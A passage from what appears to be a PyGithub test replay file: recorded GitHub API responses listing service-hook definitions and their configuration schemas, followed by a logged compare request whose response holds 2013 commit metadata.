]},{"name":"phraseapp","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","auth_token"]]},{"name":"pivotaltracker","events":["push"],"supported_events":["push"],"schema":[["string","token"],["string","branch"],["string","endpoint"]]},{"name":"planbox","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"planio","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","api_key"]]},{"name":"prowl","events":["push"],"supported_events":["push"],"schema":[["string","apikey"]]},{"name":"puppetlinter","events":["push"],"supported_events":["push"],"schema":[]},{"name":"pushalot","events":["push"],"supported_events":["push"],"schema":[["string","authorization_token"]]},{"name":"pushover","events":["push"],"supported_events":["push"],"schema":[["string","user_key"],["string","device_name"]]},{"name":"pythonpackages","events":["push"],"supported_events":["push"],"schema":[]},{"name":"railsbp","events":["push"],"supported_events":["push"],"schema":[["string","railsbp_url"],["string","token"]]},{"name":"railsbrakeman","events":["push"],"supported_events":["push"],"schema":[["string","rails_brakeman_url"],["string","token"]]},{"name":"rally","events":["push"],"supported_events":["push"],"schema":[["string","server"],["string","username"],["string","workspace"],["string","repository"],["password","password"]]},{"name":"rapidpush","events":["push"],"supported_events":["push"],"schema":[["string","apikey"]]},{"name":"rationaljazzhub","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","username"],["password","password"],["string","override_server_url"]]},{"name":"rationalteamconcert","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","username"],["string","project_area_uuid"],["password","password"],["boolean","basic_authentication"],["boolean","no_verify_ssl"]]},{"name":"rdocinfo","events":["push"],"supported_events":["push"],"schema":[]},{"name":"readthedocs","events":["push"],"supported_events":["push"],"schema":[]},{"name":"redmine","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","api_key"],["boolean","fetch_commits"],["boolean","update_redmine_issues_about_commits"]]},{"name":"rubyforge","events":["push"],"supported_events":["push"],"schema":[["string","groupid"],["string","username"],["password","password"]]},{"name":"scrumdo","events":["push"],"supported_events":["push"],"schema":[["string","username"],["string","project_slug"],["password","password"]]},{"name":"shiningpanda","events":["push"],"supported_events":["push"],"schema":[["string","workspace"],["string","job"],["string","token"],["string","branches"],["string","parameters"]]},{"name":"sifter","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","token"]]},{"name":"simperium","events":["push","issues","issue_comment","commit_comment","pull_request","pull_request_review_comment","watch","fork","fork_apply","member","public","team_add","status"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","app_id"],["string","token"],["string","bucket"]]},{"name":"slatebox","events":["push"],"supported_events":["push"],"schema":[["string","app_id"],["string","token"]]},{"name":"snowyevening","events":["push"],"supported_events":["push"],"schema":[["string","project"],["string","api_key"]]},{"name":"socialcast","events":["push"],"supported_events":["push"],"schema":[["string","api_domain"],["string","group_id"],["string","username"],["password","password"]]},{"name":"softlayermessaging","events":["push"],"supported_events":["push"],"schema":[["string","account"],["string","user"],["string","name"],["password","key"],["boolean","topic"]]},{"name":"sourcemint","events":["push"],"supported_events":["push"],"schema":[]},{"name":"splendidbacon","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","token"]]},{"name":"sprintly","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","push","team_add","watch","pull_request_review_comment","status"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","email"],["string","api_key"],["string","product_id"]]},{"name":"sqsqueue","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","aws_access_key"],["string","sqs_queue_name"],["password","aws_secret_key"]]},{"name":"stackmob","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"statusnet","events":["push"],"supported_events":["push"],"schema":[["string","server"],["string","username"],["password","password"],["boolean","digest"]]},{"name":"talker","events":["push"],"supported_events":["issues","pull_request","push"],"schema":[["string","url"],["string","token"],["boolean","digest"]]},{"name":"targetprocess","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","username"],["password","password"]]},{"name":"tddium","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","override_url"]]},{"name":"teamcity","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","build_type_id"],["string","username"],["string","branches"],["password","password"]]},{"name":"tender","events":["issues"],"supported_events":["issues","pull_request"],"schema":[["string","domain"],["string","token"]]},{"name":"tenxer","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"testpilot","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"toggl","events":["push"],"supported_events":["push"],"schema":[["string","project"],["string","api_token"]]},{"name":"trac","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","token"]]},{"name":"trajectory","events":["push"],"supported_events":["pull_request","push"],"schema":[["string","api_key"]]},{"name":"travis","events":["push","pull_request","issue_comment","public","member"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","user"],["password","token"],["string","domain"]]},{"name":"trello","events":["push","pull_request"],"supported_events":["pull_request","push"],"schema":[["string","push_list_id"],["string","pull_request_list_id"],["string","ignore_regex"],["boolean","master_only"],["password","consumer_token"]]},{"name":"twilio","events":["push"],"supported_events":["push"],"schema":[["string","account_sid"],["string","from_phone"],["string","to_phone"],["boolean","master_only"],["password","auth_token"]]},{"name":"twitter","events":["push"],"supported_events":["push"],"schema":[["string","token"],["string","secret"],["boolean","digest"],["boolean","short_format"]]},{"name":"unfuddle","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","repo_id"],["string","username"],["password","password"],["boolean","httponly"]]},{"name":"web","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","url"],["string","secret"],["string","content_type"],["string","ssl_version"],["boolean","insecure_ssl"]]},{"name":"weblate","events":["push"],"supported_events":["push"],"schema":[["string","url"]]},{"name":"webtranslateit","events":["push"],"supported_events":["push"],"schema":[["string","api_key"]]},{"name":"yammer","events":["push","commit_comment","pull_request","pull_request_review_comment","public"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"]]},{"name":"youtrack","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","committers"],["string","username"],["string","branch"],["password","password"]]},{"name":"zendesk","events":["commit_comment","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","subdomain"],["string","username"],["password","password"]]},{"name":"zohoprojects","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","token"]]}] https GET api.github.com None /repos/jacquev6/PyGithub/compare/master...develop?page=1&per_page=250 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4870'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b385a4bc-89bd-418f-b2ee-948a4ed67670'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '711256'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 09:04:41 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"ff2ab76c56b865233dfb98f5804276b6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:51 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/compare/master...develop","html_url":"https://github.com/jacquev6/PyGithub/compare/master...develop","permalink_url":"https://github.com/jacquev6/PyGithub/compare/jacquev6:ed781f8...jacquev6:a659749","diff_url":"https://github.com/jacquev6/PyGithub/compare/master...develop.diff","patch_url":"https://github.com/jacquev6/PyGithub/compare/master...develop.patch","base_commit":{"sha":"ed781f8b1b96e1d2a342d36ca53114ea28862fa8","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T16:39:22Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T16:39:22Z"},"message":"Fix date of 1.18.0","tree":{"sha":"e90c43164378222f04883c0f6547102df818d1ef","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e90c43164378222f04883c0f6547102df818d1ef"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","html_url":"https://github.com/jacquev6/PyGithub/commit/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"2c4e3cbc24581c214f44682bfc3e7f438bae127a","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2c4e3cbc24581c214f44682bfc3e7f438bae127a","html_url":"https://github.com/jacquev6/PyGithub/commit/2c4e3cbc24581c214f44682bfc3e7f438bae127a"}]},"merge_base_commit":{"sha":"ed781f8b1b96e1d2a342d36ca53114ea28862fa8","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T16:39:22Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T16:39:22Z"},"message":"Fix date of 1.18.0","tree":{"sha":"e90c43164378222f04883c0f6547102df818d1ef","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e90c43164378222f04883c0f6547102df818d1ef"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","html_url":"https://github.com/jacquev6/PyGithub/commit/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"2c4e3cbc24581c214f44682bfc3e7f438bae127a","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2c4e3cbc24581c214f44682bfc3e7f438bae127a","html_url":"https://github.com/jacquev6/PyGithub/commit/2c4e3cbc24581c214f44682bfc3e7f438bae127a"}]},"status":"ahead","ahead_by":99,"behind_by":0,"total_commits":99,"commits":[{"sha":"ea4bd8c9ad94a2e38bc272c9f9ff8cfdccea4c03","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T00:27:42Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T00:27:42Z"},"message":"Update .gitignore to ignore eproject settings and custom build batch files","tree":{"sha":"b4bf5289c36eb4f50999895cf7f1d0c8ddd26448","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/b4bf5289c36eb4f50999895cf7f1d0c8ddd26448"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ea4bd8c9ad94a2e38bc272c9f9ff8cfdccea4c03","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ea4bd8c9ad94a2e38bc272c9f9ff8cfdccea4c03","html_url":"https://github.com/jacquev6/PyGithub/commit/ea4bd8c9ad94a2e38bc272c9f9ff8cfdccea4c03","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ea4bd8c9ad94a2e38bc272c9f9ff8cfdccea4c03/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"0a1e1fa488a7cf43016fe9ec30e5cc54dfcc7bfd","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0a1e1fa488a7cf43016fe9ec30e5cc54dfcc7bfd","html_url":"https://github.com/jacquev6/PyGithub/commit/0a1e1fa488a7cf43016fe9ec30e5cc54dfcc7bfd"}]},{"sha":"cfbe7fb0b0e8f72f8725e48a4155ab0338d9773f","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T03:21:15Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T03:21:15Z"},"message":"Change GithubObject.__init__ without breaking build.","tree":{"sha":"30c8a26c9dd4a5c68c8b15666f126f9ef3929d8f","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/30c8a26c9dd4a5c68c8b15666f126f9ef3929d8f"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/cfbe7fb0b0e8f72f8725e48a4155ab0338d9773f","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cfbe7fb0b0e8f72f8725e48a4155ab0338d9773f","html_url":"https://github.com/jacquev6/PyGithub/commit/cfbe7fb0b0e8f72f8725e48a4155ab0338d9773f","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cfbe7fb0b0e8f72f8725e48a4155ab0338d9773f/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"ea4bd8c9ad94a2e38bc272c9f9ff8cfdccea4c03","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ea4bd8c9ad94a2e38bc272c9f9ff8cfdccea4c03","html_url":"https://github.com/jacquev6/PyGithub/commit/ea4bd8c9ad94a2e38bc272c9f9ff8cfdccea4c03"}]},{"sha":"0bc138b490b0b9d7ebc5e539547b88e062dd127d","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T04:32:41Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T04:32:41Z"},"message":"Change NonCompletableGithubObject without breaking build.","tree":{"sha":"05c4e4c51ed7f77adf8f96b1ef6262bd004822db","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/05c4e4c51ed7f77adf8f96b1ef6262bd004822db"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0bc138b490b0b9d7ebc5e539547b88e062dd127d","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0bc138b490b0b9d7ebc5e539547b88e062dd127d","html_url":"https://github.com/jacquev6/PyGithub/commit/0bc138b490b0b9d7ebc5e539547b88e062dd127d","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0bc138b490b0b9d7ebc5e539547b88e062dd127d/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"cfbe7fb0b0e8f72f8725e48a4155ab0338d9773f","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cfbe7fb0b0e8f72f8725e48a4155ab0338d9773f","html_url":"https://github.com/jacquev6/PyGithub/commit/cfbe7fb0b0e8f72f8725e48a4155ab0338d9773f"}]},{"sha":"b12c4b38c55ad9649541668950a01e6b3940a1bc","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T05:05:41Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T05:05:41Z"},"message":"Update Tag.py","tree":{"sha":"61648b068707a2dd5d7cc00832acc5eb76be102e","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/61648b068707a2dd5d7cc00832acc5eb76be102e"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/b12c4b38c55ad9649541668950a01e6b3940a1bc","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b12c4b38c55ad9649541668950a01e6b3940a1bc","html_url":"https://github.com/jacquev6/PyGithub/commit/b12c4b38c55ad9649541668950a01e6b3940a1bc","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b12c4b38c55ad9649541668950a01e6b3940a1bc/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"0bc138b490b0b9d7ebc5e539547b88e062dd127d","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0bc138b490b0b9d7ebc5e539547b88e062dd127d","html_url":"https://github.com/jacquev6/PyGithub/commit/0bc138b490b0b9d7ebc5e539547b88e062dd127d"}]},{"sha":"9f6562cb625d30b08b053da44a059ace70ed366e","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T05:07:23Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T05:07:23Z"},"message":"Update CommitStatus.py","tree":{"sha":"9d219ca7890099f4b9865927af6d8444557d5dd9","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/9d219ca7890099f4b9865927af6d8444557d5dd9"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/9f6562cb625d30b08b053da44a059ace70ed366e","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/9f6562cb625d30b08b053da44a059ace70ed366e","html_url":"https://github.com/jacquev6/PyGithub/commit/9f6562cb625d30b08b053da44a059ace70ed366e","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/9f6562cb625d30b08b053da44a059ace70ed366e/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_u